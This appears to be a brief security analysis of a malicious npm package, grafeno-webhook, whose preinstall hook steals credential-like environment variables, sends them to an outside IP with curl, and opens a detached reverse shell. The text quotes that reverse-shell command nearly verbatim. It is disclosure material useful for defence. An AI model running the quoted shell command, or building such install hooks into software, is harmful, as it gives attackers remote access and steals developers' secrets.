grafeno-webhook@1.0.0

Analysis

The preinstall hook (preinstall.js) harvests the installer's environment variables whose names match AWS/TOKEN/KEY/SECRET/PASS/API, truncates each value to 80 characters, and base64-encodes them together with the hostname and username into a "webhook|host|user|env" string. It then POSTs this to hxxp://216[.]126[.]236[.]46/r[.]php via curl. On non-Windows systems it additionally spawns a detached reverse shell to 216[.]126[.]236[.]46:4444 (bash -i >& /dev/tcp/216[.]126[.]236[.]46/4444 0>&1 &). The hook swallows all errors so the install appears to succeed.